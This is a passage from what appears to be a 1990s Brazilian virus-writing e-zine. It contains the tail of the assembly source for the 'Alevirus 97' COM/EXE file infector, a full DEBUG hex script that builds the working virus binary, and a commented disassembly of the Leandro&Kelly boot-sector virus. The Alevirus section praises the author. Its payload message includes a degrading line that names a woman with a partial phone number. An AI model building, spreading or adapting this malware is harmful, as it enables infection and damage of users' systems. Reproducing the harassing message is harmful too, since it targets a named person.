                mov    [bp + exe_cs],es
                mov    [bp + exe_ip],ax
                les    ax,dword ptr [bp + read_buffer + 14]
                mov    [bp + exe_ss],ax
                mov    [bp + exe_sp],es
                mov    word ptr [bp + read_buffer + 16],FRANGO
                mov     ax,4202h               
                cwd
                xor     cx,cx
                int     21h

                push    ax dx                  

                push    bx
                mov     cl,12                  
                shl     dx,cl                  
                mov     bx,ax
                mov     cl,4
                shr     bx,cl
                add     dx,bx
                and     ax,15
                pop     bx

                sub    dx,word ptr [bp + read_buffer + 8]
                mov    word ptr [bp + read_buffer + 22],dx
                mov    word ptr [bp + read_buffer + 20],ax
                add    dx,100h
                mov    word ptr [bp + read_buffer + 14],dx

                pop     dx ax                  

                add     ax,VIRUS_SIZE + 3
                adc     dx,0
                mov     cx,512                 
                div     cx                     
                inc     ax
                mov     word ptr [bp + read_buffer + 2],dx
                mov     word ptr [bp + read_buffer + 4],ax

                mov     ah,40h
                mov     cx,VIRUS_SIZE + 3
                lea     dx,[bp + virus_begin]
                int     21h


                mov     ax,4200h               
                cwd
                xor     cx,cx
                int     21h

                mov     ah,40h                 
                mov     cx,28
                lea     dx,[bp + read_buffer]
                int     21h
                jmp     fix_date_time          

activate:
                
        mov     ah,2ah
        call    int21
        cmp     cx,1997                        
        jb      dont_activate                  
        cmp     dh,05                            
        jne     dont_activate
        cmp     dl,19                            
        jne     dont_activate
     
        mov     ah,9                             
        lea     dx,[bp+messege]                  
        int     21h
     
        mov     cx,52
;        include .\phasor.rtn    ;Voce vai prescisar disso para compilar!

;  ******  phasor.rtn  ******* 
phasor_1: 
        PUSH    CX
        CLI
        MOV     DX,2EE0h
        SUB     DX,CS:[1388h]
        MOV     BX,0064h
        MOV     AL,0B6h
        OUT     43h,AL
phasor_2: 
        MOV     AX,BX
        OUT     42h,AL
        MOV     AL,AH
        OUT     42h,AL
        IN      AL,61h
        MOV     AH,0
        OR      AX,0003h
        OUT     61h,AL
        INC     BX
        MOV     CX,000Fh
phasor_3: 
        LOOP    phasor_3
        DEC     DX
        CMP     DX,0
        JNE     phasor_2
        IN      AL,61h
        AND     AL,0FCh
        OUT     61h,AL
        STI
        POP     CX
        LOOP    phasor_1
;  ******  phasor.rtn  ******* 

Int21:
        int     21h
        ret
dont_activate:
ret
messege: 
db"         ۲         ߱   ۲  ۲                   ",13,10
db"      ۱          ۰   ۱ ۱   ۲    ۱        ",13,10
db"     ۰             ۱  ۱      ۰      ",13,10
db"               ۰        ۰         ",13,10
db"    ۱ ۱ ۱       ۰ ۲ ۱ ߲  ߱ ",13,10
db"    ۰                             ",13,10
db"                                         ",13,10
db"                                                     ",13,10
db"                                                              ",13,10
db"                ۲                            ",13,10
db"     ۱  ۲   ۲ ۱         ۱ ۱             ",13,10
db"      ۰  ۱     ۱    ۱  ܰܰ            ",13,10
db"      ߱      ۱   ۱   ۲         ",13,10
db"         ۲ ۱ ۰ ۰   ۰ ߱     ۱       ",13,10
db"                               ۰       ",13,10
db"                                                ",13,10
db"                                                                         ",13,10
db"Alevirus 97 !!!!!!!!!!! Call Now ???-???? many files from virii service  ",13,10
db"     Sao Caetano do Sul       CĿOĿRĿIĿNĿGĿAĿBrasil! ",13,10
db"Ligue Para esta Puta: Viviane  2  1  5  1  9  ?  ? Brasil! ",13,10
db" Aberto das 0:00 ate 6:00 A.M BBZBrasil! ",13,10,"$"
                                                                            
                                                                            
                                                                            
get_extension:
                push    ds          
                pop     es
                mov     di,dx
                mov     cx,64
                mov     al,'.'
                repnz   scasb
                ret
                                                                            
                                                                            
find_me         db      ').*',0
outer           db      '..',0

int_24:
                mov     al,3        
                iret
new_jump        db      0E9h,0,0
                                                                            
infections      db      0
virus_end:
VIRUS_SIZE      equ     virus_end - virus_begin
read_buffer     db      28 dup (?)             
new_DTA         db      128 dup(?)

end_heap:

MEM_SIZE        equ     end_heap - start

code            ends
                end     start

 -=[+]================================================================[+]=-
                                                                            
   Comentarios :
                                                                            
        O virus tem 2349 bytes e data de ativacao em 19/05/1998+ . A acao
   apresenta uma mensagem ao usuario e o programa infectado nao funciona 
   nesse dia.
        O virus infecta COM e EXE, e altera data e hora dos arquivos infec-
   tados, creio que um charme do autor.
        O virus tem a rotina de Traverse Loop. Despistadores de Flags e
   verificacao quanto ao arquivo ser EXE e nao conter overlay.
                                                                            
        Bom trabalho Alevirus.
                                                                            
        Segue ainda nessa edicao do Zine (creio que logo abaixo (depende da
   diagramacao do zine)) o script para debug do virus. 
                                                                            
 
                      ___   ___   __   .   __   ___
                     (__   |     |__)  |  |__)   |
                     ___)  |___  |  \  |  |      |
                                                                            
 
                                                                            
;;;;;;;;;;;;;;;;;;;; ALEVIR.SCR ;;;;;;;;;;;;;;;;;;;;;;
N ALEVIR.COM
E 0100 E9 03 00 CD 20 00 E8 00 00 5D 81 ED 09 01 CC 1E 
E 0110 06 FA B8 CF AF 50 58 4C 4C 5B 3B C3 74 01 F4 FB 
E 0120 E4 21 34 02 E6 21 34 02 E6 21 0E 1F 8D 96 4C 0A 
E 0130 B4 1A CD 21 3E FF B6 B0 01 3E FF B6 B2 01 3E FF 
E 0140 B6 B6 01 3E FF B6 B4 01 E8 7D 00 E8 44 02 3E 8F 
E 0150 86 B4 01 3E 8F 86 B6 01 3E 8F 86 B2 01 3E 8F 86 
E 0160 B0 01 07 1F BA 80 00 B4 1A CD 21 81 FC AC 56 74 
E 0170 0E 8D B6 03 01 BF 00 01 57 A5 A4 E8 3A 00 C3 8C 
E 0180 D8 05 10 00 50 2E 03 86 B0 01 2E 89 86 AE 01 2E 
E 0190 8B 86 B2 01 2E 89 86 AC 01 58 2E 03 86 B6 01 FA 
E 01A0 8E D0 2E 8B A6 B4 01 E8 0E 00 FB EA 00 00 00 00 
E 01B0 F0 FF 03 01 FE FF F0 FF 33 C0 99 33 DB BE 00 01 
E 01C0 E8 00 00 33 FF 33 ED C3 83 EC 40 8B F4 46 B4 47 
E 01D0 32 D2 1E 16 1F CD 21 1F 4E 36 C6 04 5C E8 18 00 
E 01E0 8D 96 26 0A B4 3B CD 21 73 F3 83 C4 40 8B D6 1E 
E 01F0 16 1F B4 3B CD 21 1F C3 B4 4E 3E FE 86 22 0A 8D 
E 0200 96 22 0A CD 21 3E FE 8E 22 0A 72 0D 8D 96 6A 0A 
E 0210 E8 07 00 B4 4F CD 21 73 F3 C3 50 51 57 06 E8 F5 
E 0220 07 81 3D 43 4F 75 08 80 7D 02 4D 75 14 EB 0C 81 
E 0230 3D 45 58 75 0C 80 7D 02 45 75 06 07 5F 59 58 EB 
E 0240 05 07 5F 59 58 C3 56 33 C0 8E C0 8D 86 29 0A 26 
E 0250 A3 90 00 26 8C 0E 92 00 B8 00 43 FE C0 CD 21 51 
E 0260 52 1E 33 C9 E8 6E 00 B8 02 3D CD 21 72 65 93 B8 
E 0270 00 57 FE C0 CD 21 51 52 B4 3F B9 1C 00 8D 96 30 
E 0280 0A CD 21 3E 80 BE 30 0A 4D 74 65 B0 02 E8 51 00 
E 0290 81 EA 2D 09 3E 3B 96 31 0A 74 42 81 C2 2D 09 3E 
E 02A0 89 96 2D 0A 8D 96 30 0A CD 21 B4 40 B9 2A 09 8D 
E 02B0 96 06 01 CD 21 32 C0 E8 27 00 8D 96 2C 0A CD 21 
E 02C0 5A 59 B8 00 57 FE C0 CD 21 1F 5A 59 E8 06 00 B4 
E 02D0 3E CD 21 5E C3 B8 00 43 FE C0 CD 21 C3 59 5A EB 
E 02E0 E8 B4 42 99 33 C9 CD 21 8B D0 B4 40 B9 03 00 C3 
E 02F0 3E 83 BE 4A 0A 00 75 E5 3E 81 BE 40 0A AC 56 74 
E 0300 DC 3E C4 86 44 0A 3E 8C 86 B0 01 3E 89 86 B2 01 
E 0310 3E C4 86 3E 0A 3E 89 86 B6 01 3E 8C 86 B4 01 3E 
E 0320 C7 86 40 0A AC 56 B8 02 42 99 33 C9 CD 21 50 52 
E 0330 53 B1 0C D3 E2 8B D8 B1 04 D3 EB 03 D3 25 0F 00 
E 0340 5B 3E 2B 96 38 0A 3E 89 96 46 0A 3E 89 86 44 0A 
E 0350 81 C2 00 01 3E 89 96 3E 0A 5A 58 05 2D 09 83 D2 
E 0360 00 B9 00 02 F7 F1 40 3E 89 96 32 0A 3E 89 86 34 
E 0370 0A B4 40 B9 2D 09 8D 96 06 01 CD 21 B8 00 42 99 
E 0380 33 C9 CD 21 B4 40 B9 1C 00 8D 96 30 0A CD 21 E9 
E 0390 2E FF B4 2A E8 53 00 81 F9 CD 07 72 50 80 FE 05 
E 03A0 75 4B 80 FA 13 75 46 B4 09 8D 96 EE 03 CD 21 B9 
E 03B0 34 00 51 FA BA E0 2E 2E 2B 16 88 13 BB 64 00 B0 
E 03C0 B6 E6 43 8B C3 E6 42 8A C4 E6 42 E4 61 B4 00 0D 
E 03D0 03 00 E6 61 43 B9 0F 00 E2 FE 4A 83 FA 00 75 E3 
E 03E0 E4 61 24 FC E6 61 FB 59 E2 C8 CD 21 C3 C3 20 DC 
E 03F0 DC DC 20 20 20 20 20 20 20 20 DB DB B2 20 20 20 
E 0400 20 20 B2 20 DC DC DB DB 20 20 20 DB DF B1 20 20 
E 0410 20 DB B2 20 20 DB DB B2 20 20 DB DB 20 DB DB DB 
E 0420 20 20 20 20 DB 20 20 20 20 DB DB 20 20 20 20 20 
E 0430 DC DC DB DB 20 20 20 0D 0A B1 DC DF 20 DB DC 20 
E 0440 20 20 20 20 B2 DB DB B1 20 20 20 20 20 B2 DB 20 
E 0450 20 20 DF 20 20 B2 DB DB B0 20 20 20 DB B1 20 B2 
E 0460 DE DB B1 20 B2 DB DB 20 B1 20 DB DB B2 20 20 DB 
E 0470 DB 20 20 B2 DF DB B1 20 B1 20 DF 20 20 20 B1 20 
E 0480 20 20 0D 0A B1 DB DB 20 20 DF DB DC 20 20 20 B1 
E 0490 DB DB B0 20 20 20 20 20 B1 DB 20 DB 20 20 20 20 
E 04A0 20 B2 DF DC 20 20 DB B1 B0 20 B1 20 DB B1 20 B2 
E 04B0 DB DB 20 B0 DC DB 20 B1 20 B2 DB DB 20 20 B1 DB 
E 04C0 DB B0 20 B0 20 B2 DB DB DC 20 20 20 20 0D 0A B0 
E 04D0 DC DB DC DC DC DC DB DB 20 20 B1 DB 20 B0 20 20 
E 04E0 20 20 20 B1 B2 DB 20 20 DC 20 20 20 20 B1 DB DB 
E 04F0 20 DB B0 B0 20 B0 DE 20 B0 20 B1 DC DB DF DF DB 
E 0500 DC 20 20 20 B2 B2 DB 20 20 B0 DB DB B0 20 20 20 
E 0510 B1 20 20 20 DC 20 20 20 0D 0A 20 B2 DB 20 20 20 
E 0520 B2 DB DB B1 20 B0 DC DB DB DB DB DB B1 20 B0 B1 
E 0530 DB DB DB DB B1 20 20 20 20 B1 DF DB 20 B0 20 20 
E 0540 B0 DE DB B0 20 B0 DB DB B2 20 B1 DB DB B1 20 B1 
E 0550 B1 DB DB DB DC DF B2 20 20 B2 DB DB DB DC DC DF 
E 0560 B1 B1 20 0D 0A 20 B1 B1 20 20 20 B2 B1 DB B0 20 
E 0570 B0 20 B1 B0 B2 20 20 B0 20 B0 B0 20 B1 B0 20 B0 
E 0580 20 20 20 20 B0 20 DE 20 B0 20 20 B0 B2 20 20 20 
E 0590 B0 20 B1 B2 20 B0 B1 B2 B0 20 B0 B1 B2 B1 20 B1 
E 05A0 20 B1 20 20 B1 20 B1 B2 B1 20 B1 20 B0 20 0D 0A 
E 05B0 20 20 B1 20 20 20 B1 B1 20 B0 20 B0 20 B0 20 B1 
E 05C0 20 20 B0 20 20 B0 20 B0 20 20 B0 20 20 20 20 B0 
E 05D0 20 B0 B0 20 20 20 20 B1 20 B0 20 20 20 B0 B1 20 
E 05E0 B0 20 B1 B0 20 B0 B0 B1 B0 20 B0 20 B0 20 20 B0 
E 05F0 20 B0 B1 20 20 B0 20 B0 20 0D 0A 20 20 B0 20 20 
E 0600 20 B1 20 20 20 20 20 20 B0 20 B0 20 20 20 20 20 
E 0610 20 20 B0 20 20 20 20 20 20 20 20 20 B0 B0 20 20 
E 0620 20 20 B1 20 B0 20 20 20 B0 B0 20 20 20 B0 20 20 
E 0630 20 B0 B0 B0 20 B0 20 B0 20 20 B0 20 20 B0 20 20 
E 0640 B0 20 20 20 0D 0A 20 20 20 20 20 20 B0 20 20 B0 
E 0650 20 20 20 20 20 B0 20 20 B0 20 20 20 20 B0 20 20 
E 0660 B0 20 20 20 20 20 20 20 B0 20 20 20 20 B0 20 20 
E 0670 20 20 20 20 B0 20 20 20 20 20 20 20 20 20 B0 20 
E 0680 20 20 20 20 20 20 20 20 20 20 20 B0 20 20 20 0D 
E 0690 0A 20 DC DB DC 20 20 DC 20 20 20 20 B2 DB DC DC 
E 06A0 DB DB 20 20 20 20 DB DB 20 DB DB DB 20 20 20 20 
E 06B0 DB DB B2 20 20 DB DC 20 DC 20 20 20 20 20 20 20 
E 06C0 20 DC DB DB DB DB 20 20 20 20 DC DC DC 20 20 20 
E 06D0 20 20 20 20 20 20 20 20 20 20 0D 0A B2 20 DB DF 
E 06E0 20 DF DB 20 20 20 B2 DB DB B1 20 20 DB DB B2 20 
E 06F0 B2 DB DB 20 B1 20 DB DB B2 20 B2 DE DB B1 20 20 
E 0700 DB DB 20 DF DB 20 20 20 DB 20 20 20 DB DB B1 20 
E 0710 DF DB B1 20 B1 DC DF 20 DB DC 20 20 20 20 20 20 
E 0720 20 20 20 20 20 0D 0A B1 B2 DB 20 20 20 20 DC 20 
E 0730 20 B1 DB DB B0 20 20 DB DB B1 20 B2 DB DB 20 B0 
E 0740 DC DB 20 B1 20 B1 20 DB B1 20 B2 DB DB 20 20 DF 
E 0750 DB 20 DB DB B1 20 B1 20 DC B0 DC DC DC B0 20 B1 
E 0760 DB DB 20 20 DF DB DC 20 20 20 20 20 20 20 20 20 
E 0770 0D 0A B1 B1 B1 DC 20 DC 20 20 B1 20 B1 DB DB 20 
E 0780 20 DC DF B1 B0 20 B1 DC DB DF DF DB DC 20 20 20 
E 0790 B0 DE 20 B0 20 B2 DB DB B1 20 20 DE 20 DB DB B1 
E 07A0 20 B0 B2 DB 20 20 DB DB B2 20 B0 DC DB DC DC DC 
E 07B0 DC DB DB 20 20 20 20 20 20 20 20 0D 0A B1 20 B1 
E 07C0 20 20 20 DF 20 B0 20 B0 20 DB DF DF 20 B2 B1 B0 
E 07D0 20 B0 DB DB B2 20 B1 DB DB B1 20 B0 DE DB B0 20 
E 07E0 B1 DB DB B0 20 20 20 B2 DB DB B0 20 B0 B1 B1 DB 
E 07F0 DB DB DF B1 20 20 B2 DB 20 20 20 B2 DB DB B1 20 
E 0800 20 20 20 20 20 20 0D 0A B0 20 B0 B1 20 B2 20 20 
E 0810 B0 20 B0 20 B1 B0 B2 B0 B2 B0 20 20 B0 20 B1 B2 
E 0820 20 B0 B1 B2 B0 20 B0 B2 20 20 20 B0 20 B1 B0 20 
E 0830 20 20 B1 20 B2 20 20 20 B0 B1 20 20 20 B1 20 20 
E 0840 20 B1 B1 20 20 20 B2 B1 DB B0 20 20 20 20 20 20 
E 0850 20 0D 0A 20 20 B0 20 20 B1 20 20 20 20 20 20 B0 
E 0860 20 B1 20 B1 B0 20 20 20 20 B0 B1 20 B0 20 B1 B0 
E 0870 20 20 B1 20 B0 20 B0 20 B0 B0 20 20 20 B0 20 B1 
E 0880 B0 20 20 20 B0 20 20 20 B0 20 20 20 20 B1 20 20 
E 0890 20 B1 B1 20 B0 20 20 20 20 20 20 20 0D 0A 20 20 
E 08A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
E 08B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
E 08C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
E 08D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
E 08E0 20 20 20 20 20 20 20 0D 0A 41 6C 65 76 69 72 75 
E 08F0 73 20 39 37 20 21 21 21 21 21 21 21 21 21 21 21 
E 0900 20 43 61 6C 6C 20 4E 6F 77 20 3F 3F 3F 2D 3F 3F 
E 0910 3F 3F 20 6D 61 6E 79 20 66 69 6C 65 73 20 66 72 
E 0920 6F 6D 20 76 69 72 69 69 20 73 65 72 76 69 63 65 
E 0930 20 20 0D 0A 20 20 20 20 20 53 61 6F 20 43 61 65 
E 0940 74 61 6E 6F 20 64 6F 20 53 75 6C 20 20 20 20 20 
E 0950 20 20 DA C4 43 C4 BF DA C4 4F C4 BF DA C4 52 C4 
E 0960 BF DA C4 49 C4 BF DA C4 4E C4 BF DA C4 47 C4 BF 
E 0970 DA C4 41 C4 BF 42 72 61 73 69 6C 21 20 0D 0A 4C 
E 0980 69 67 75 65 20 50 61 72 61 20 65 73 74 61 20 50 
E 0990 75 74 61 3A 20 56 69 76 69 61 6E 65 20 B3 20 32 
E 09A0 20 B3 B3 20 31 20 B3 B3 20 35 20 B3 B3 20 31 20 
E 09B0 B3 B3 20 39 20 B3 B3 20 3F 20 B3 B3 20 3F 20 B3 
E 09C0 42 72 61 73 69 6C 21 20 0D 0A 20 41 62 65 72 74 
E 09D0 6F 20 64 61 73 20 30 3A 30 30 20 61 74 65 20 36 
E 09E0 3A 30 30 20 41 2E 4D 20 C0 C4 C4 C4 D9 C0 C4 C4 
E 09F0 C4 D9 C0 C4 42 C4 D9 C0 C4 42 C4 D9 C0 C4 5A C4 
E 0A00 D9 C0 C4 C4 C4 D9 C0 C4 C4 C4 D9 42 72 61 73 69 
E 0A10 6C 21 20 0D 0A 24 1E 07 8B FA B9 40 00 B0 2E F2 
E 0A20 AE C3 29 2E 2A 00 2E 2E 00 B0 03 CF E9 00 00 00 
RCX
0930
W
Q
;;;;;;;;;;;;;;;;;;;; ALEVIR.SCR ;;;;;;;;;;;;;;;;;;;;;;
                                                                            
        Creio que aqui se encerra essa materia, as fontes seguem acima, o
   script tambem, comentarios sobre a distribuicao do virus e sobre o mesmo
   tambem ja se encontram, entao T+ ...
                                                                            
                                                                            

 
                          __  ___  ___ / __   .   __
                    |\/| |__|  |  |__   |__)  |  |__|
                    |  | |  |  |  |___  |  \  |  |  |
                                                                            
 
                                                                            
                                                                            
       
                     6 - Leandro e Kelly Boot Virus 
       
                                                                            
       Essa materia  de autoria de Dorival Afonso Cardozo (o autor
       do anti-virus CHICO AV. ) ; em se tratando de um texto sobre
       virus (muito bem elaborado) resolvi publica-lo nesse numero.
       Apos o comentario da listagem do virus (quando o cara debuga
       descompila e faz o caraio a 4 ,ah se tiveres a fins de debu-
       gar algo ,sugiro o TD que e um dos melhores e para descompi-
       lar sugiro o DISNDATA . Bom deixa de papo furado e da umas
       belas olhadas na materia ...

       A matria esta baseada em muita coisa do carinha, mas no 
       tudo, muita coisa eu ralei pra achar e conseguir, valu pra
       galera que colaborou para a finalizao desssa matria...
                                                                            
                                                                            
                                                                            
       
        Artigo proveniente da propria HP do autor e de uma materia
        que saiu na revista MS n168 . Bao eu nao pedi autorizacao
        pra ninguem , so estou comunicando de onde a materia foi
        extraida ...
       
                                                                            
                                                                            
        Antes um pequeno historico sobre o virus Leandro&Kelly
                                                                            
 Origem : 
          Minas Gerais - Governador Valadares (o autor duvida,seila
 tipo eu tambem , mas como nao consegui ate o momento da transcricao
 da materia nenhum individuo que soubesse quem o fez , entao ta indo
 assim mesmo ...
                                                                            
 Captado:
          Primavera/94 em 05/10/94
                                                                            
 Encontrado:
          Paulinia - SP (Empresa Comercial)
                                                                            
 Surgiu pela 1 vez, em outubro de 1994 , causando grande panico nacional.

 Foi largamente distribuido em disquetes de uma conceituada empresa multi-
 nacional.

 O virus se alastrou de forma relampago (tambem eu posso dizer que e'um 
 virus quase perfeito , so faltou uma rotina de destruicao !!! )
 
 Mesmo nao sendo um virus nocivo ele pode ser fatal , se combinado com
 outro virus, o que pode acarretar a danificacao do setor BOOT MASTER do
 HD e impossibilidade de acesso.

 O autor aqui duvida que o virus seja mineiro , ele diz ainda que o autor
 do virus , olhe bem JAMAIS divulgaria o local onde foi produzido. O que
 estava grave na epoca e que os discos originais onde ele estava gravado
 (3,5''), nao possuiam a chave Write/Protect, ou seja, o disco estava fi-
 sicamente impossibilitado de gravacao . 
 
 O cara e'tao noia que pensa que a coisa toda foi armada e ainda questiona 
 ao final da materia original o que o autor do virus queria com o esquema
 todo ? 


 Primeiro Saiba como se organiza na memoria
 -------------------------------------------
 Veja esta algoritmo Basico:
   01000:7C00 - Primeira Parte do Virus  (Lido pela BIOS Automaticamente)
   0000:7E00  - Segunda Parte do Virus   (Lido pelo virus durante execucao
                                          como OVERLAY da trilha 27h Setor 9)
   Em determinada parte(primeira do virus) ele se auto copia no topo da memoria
   basica ( normalmente 9F00:000 ) ficando:
   9F00:01FF -  Primeira Parte
   9F00:0200 -  Segunda Parte
   Apos copiar ele salta para ele mesmo (seu clone) no entanto em outra area
   na memoria de (0000:7C7D) para (9F00:007Eh)

 Agora Saiba como esta o Disco contaminado
 -----------------------------------------
Trilha  0, Setor 1 Lado 0 = Primeira parte do Virus (Onde deveria esta o Boot)
                            Saiba que o BIOS chamara isto quando voce ligar o
                            computador com o disco no drive, pensando encontrar
                            o BOOT.
Trilha 27, Setor 8 Lado 1 = Segunda parte do virus
Trilha 27, Setor 9 Lado 1 = Boot Original que deveria estar na
                            Tilha 0, Setor 1 Lado 0

Copreenda os Passos do seu computador ate' chegar no Prompt do Sistema
----------------------------------------------------------------------
1- O Microprocessador Executa o programa Existente no Endereco FFFF:0000
   Neste endereco (FFFF:0000) Existe o programa do CHIP BIOS (Fisico)
2- O Programa do BIOS apo's os checkups costumeiros, vai ler e executar
   o conteudo no BOOT do disquete.
3- O conteudo do BOOT do disquete (programa de BOOT) e' um programa de
   inicializacao e um bloco de parametros contendo  Trilha, Setor por
   trilha, cluster, etc.
   NESTE PARTE E' QUE O VIRUS VAI ENTRAR, SUBSTITUINDO ESTE PROGRAMA
4- Sem virus: O programa do BOOT chamara os arquivos de sistema IO.SYS etc.
   Com virus: O Virus vai chamar o conteudo original (O programa de BOOT)
5- O Programa de Boot chamado pelo virus vai chamar os arquivos de Sistema.
   IO.SYS, etc.

obs: No caso de disco rigido, primeiro o BIOS chamara o BOOT MASTER que
     logo apos vai ler e largar o controle para o BOOT do DOS; caso o virus
     entre no disco rigido vai se alocar entao no BOOT MASTER.

Agora vamos ao Programa...

 
                       .   ___  ___   __    __    ___
                  |    |  (__    |   |__|  | _   |__   |\/|
                  |__  |  ___)   |   |  |  |__|  |___  |  |
                                                                            
 
                                                                            
                                                                            
                
                  Comentarios da listagem do virus 
                
                                                                            
                                                                            
O segmento e' 0000:7C00 quando inicia a execucao, inserido ai' pelo BIOS
; CS=0000 IP=7C00
;-Inicio --------------------------------------------------------------------
0000:7C00   JMP     7C20h        ;Desvio para Endereco 120h
0000:7C02   db
0000:7C03   db      'MSDOS3.3'   ;OEM=MSDOS3.3 ; (inocente mesmo so' o nome)
;
; Aqui(10Bh), ate' o endereco 13Dh Deveria existir o bloco de parametros,coisa
; que o virus nao respeitou, destruindo-o, por isto alguns discos sequer
; se pode "dar um DIR" porque o bloco foi para o espaco...
; No lugar do BPB estao dados para controle do pro'prio virus.
;
0000:7C0B   db      00
0000:7C0C   db      02,02H
0000:7C0E   db      01,00
0000:7C10   db      02,70h,00
0000:7C13   db      D0,02h
0000:7C15   db      FDh
0000:7C16   db      02, 00
0000:7C18   db      09, 00
0000:7C1A   db      02, 00
0000:7C1C   DW      2709h
0000:7C1E   DW      0100h

; Offset 120h
; Chegou aqui de um JUMP
; Inicio da execucao do Virus (Leandro&Kelly) (Vai de Retro coisa rui...)
0000:7C20   CLI              ; CLI = Desabilitar Interrupcao
0000:7C21   MOV    SP,7C00h  ; Offset   Stack = 7C00h
0000:7C24   XOR    AX,AX     ; AX = 0
0000:7C26   MOV    SS,AX     ; Segmento Stack = 0000
; Ate' aqui: SS:SP = 0000:7C00
0000:7C28   MOV    AX,0000   ; De novo AX=0
0000:7C2B   MOV    DS,AX     ; DS = 0
0000:7C2D   MOV    ES,AX     ; ES = 0
; Ate' aqui: SS=0  DS=0  ES=0
0000:7C2F   MOV    AX,0201h  ; AX,0201(Leitura 1 Setor)(512 bytes)
0000:7C32   MOV    BX,7E00h  ; Sera enviado ao Endereco 7E00h
0000:7C35   MOV    DX,[7C1E] ; Ler da Mem. Unidade e Cabeca (0100h)
                                    ; 01=Drive B:  00=Cabeca 0 (Superior)
0000:7C39   MOV    CX,[7C1C] ; Ler da Mem. Trilha e Setor (2709h)
                                    ;  Trilha=27h  Setor=09h
                                    ;  27h=Ultima Trilha (onde esta' o Boot
                                    ;  Isto e' a segunda parte do VIRUS
0000:7C3D   DEC    CL        ; Decrementar Setor, entao Setor=08 (Ver Nota4)
0000:7C3F   INT    13h       ; Int 13h = LER SETOR para 7E00h
0000:7C41   MOV    SI, 004Bh ; Vamos enganar o Anti-virus SCAN
                                    ;  (Veja [Nota1] Abaixo sobre o fenomeno)
0000:7C44   INC    SI        ; SI = 0000:4CH Int 13
0000:7C45   MOV    DI, 01FCh ; DI = 0000:1FC Int 7F (Ver Nota3)
0000:7C48   MOV    CX, 0004h ; Copiar Offset e Segmento (4 Bytes)
0000:7C4B   CLD               ; Direcao: Mover de SI para DI
0000:7C4C   REPZ              ; Estamos movendo SI para DI, 4 Bytes
0000:7C4D   MOVSB             ; Proximos (CX=4) lembra ?
                              ; Na verdade estes bytes sao o endereco
                              ; da interrupcao de disco INT13 que fica
                              ; no endereco 4Ch da Bios. O virus esta'
                              ; somente salvando o valor original.
0000:7C4E   MOV    AX, 009Ch  ; Vamos Alterar Codigo da Inter. INT 13
                              ; Novo codigo comecara em Ofs: 9Ch (Observe que
                              ; nao se definiu Segmento Ainda )
0000:7C51   MOV    DI, 04Bh   ; De novo 4Bh agora mas 4Ch na Hora...
0000:7C54   MOV    [DI+01],AX ; SI+1=4C entao 0000:004C = 009C
0000:7C57   MOV    SI, 0412h  ; De novo 412h agora mas 413h na Hora...
0000:7C5A   INC    SI         ; "Ta vendo", SI = 413h
                              ; Alias: 0000:0413h = Endereco da memoria
                              ; Disponivel, o valor aqui deve ser 280h
                              ; (consulte com o DEBUG) ver [Nota2]
                              ; 280h * 256 = 640K (655.360) bytes
0000:7C5B   MOV    AX,[SI]    ; Lendo Tamanho atual da Memoria Basica
0000:7C5D   SUB    AX,0004h   ; Decrementando 4 Paragrafos de 256 Bytes
0000:7C60   MOV    [SI],AX    ; Regravando novo tamanho da mem. Basica
0000:7C62   MOV    CL,06      ; CL=6 Para multiplicar AX=027Ch
0000:7C64   SHL    AX,CL      ; Faz AX * 64 = 9F00h onde ficara o virus
0000:7C66   MOV    [DI+03],AX ; Segmento do Novo Codigo para Int 13
0000:7C69   MOV    ES,AX      ; ES = Novo codigo para Int 13
0000:7C6B   MOV    SI,7BFFh   ; SI=7Bff agora mas na hora... (Nota1)
0000:7C6E   INC    SI         ; depois do INC ficara SI=7C00
0000:7C6F   MOV    DI,0000    ; DI=0 (Destino)
0000:7C72   MOV    CX,0400h   ; CX= 400h = 1024 (decimal) (Tamanho L&K)
; Neste Ponnto: SI=7C00h (Inicio do virus)
;               DI=0000h destino da copia do virus
;               CX=1024 (1024 byte a copiar)
0000:7C75   CLD               ;  Copiando DS:SI para ES:SI
0000:7C76   REPZ              ;  Copiando 0000:7C00 para 9F00:0000
0000:7C77   MOVSB             ;
0000:7C78   PUSH   ES         ; Salvar novo endereco (seg) deste virus
0000:7C79   MOV    AX,007Eh   ; Salvar endereco offset
0000:7C7C   PUSH   AX         ;
0000:7C7D   RETF              ; Salvar para La (Logo abaixo...)
;; ** Continuo aqui mas em outro endereco **
9F00:007E   CALL   0477       ; Chamar Rotina 0477
9F00:0081   MOV    AX, 0000   ; AX=0
9F00:0084   MOV    ES, AX     ; ES=0
9F00:0086   MOV    DS, AX     ; DS=0
9F00:0088   MOV    BX, SP     ; BX=Offset do Stack
9F00:008A   MOV    DX, [1Eh]  ; Ler Unidade, Cabeca
9F00:008E   MOV    CX, [1Ch]  ; Ler Trilha, Numero DO seor
9F00:0092   MOV    AX, 0201h  ; 02=Funca Ler 01=01 Setor a ler
9F00:0095   INT    7Fh        ; 7Fh = Int 13 Original (Nota 3)
; Este Int 7Fh (Int13) faz a leitura do conteudo original do Boot,
  Insere no endereco 0000:7C00h e o executa (faz o que a BIOS faria...)
9F00:0097   JMP    0000:7C00h ; Chamar De novo 0000:7C00 (ja foi chamado uma
                              ;  vez pela BIOS)  (Ver Nota4)

; Offset 9Ch
; Novo codigo (Residente) para Interrupcao INT 13 (do endereco 0000:004Ch)
9F00:009C   PUSH   AX
9F00:009D   PUSH   DS
9F00:009E   XOR    AX, AX
9F00:00A0   MOV    DS, AX
9F00:00A2   CMP    DL, 00               ; DL = 0 ?
9F00:00A5   JNZ    0B6                  ; se nao for entao vai para B6h
9F00:00A7   TEST   BYTE PTR [043Fh], 01 ;
9F00:00AC   JNZ    0CA
9F00:00AE   POP    DS
9F00:00AF   POP    AX
9F00:00B0   CALL   0D8
9F00:00B3   RETF   0002

;; DL <> 0 vem para ca (B6)
9F00:00B6   CMP    DL,01
9F00:00B9   JNZ    0CA      ; se DL nao for = 1 enta CAh
9F00:00BB   TEST   BYTE PTR [043F],12
9F00:00C0   JNZ    01CA
9F00:00C2   POP    DS
9F00:00C3   POP    AX
9F00:00C4   CALL   01D8
9F00:00C7   RETF   0002

;;
9F00:00CA   POP    DS
9F00:00CB   POP    AX
9F00:00CC   INT    7Fh     ; executa chamada do usuario
9F00:00CE   PUSH   CX
9F00:00CF   MOV    CH,01
9F00:00D1   CALL   0DAh

9F00:00D4   POP    CX
9F00:00D5   RETF   0002
;; Executa Interrupcao 13h Original (Int 7F = Int 13 Original)
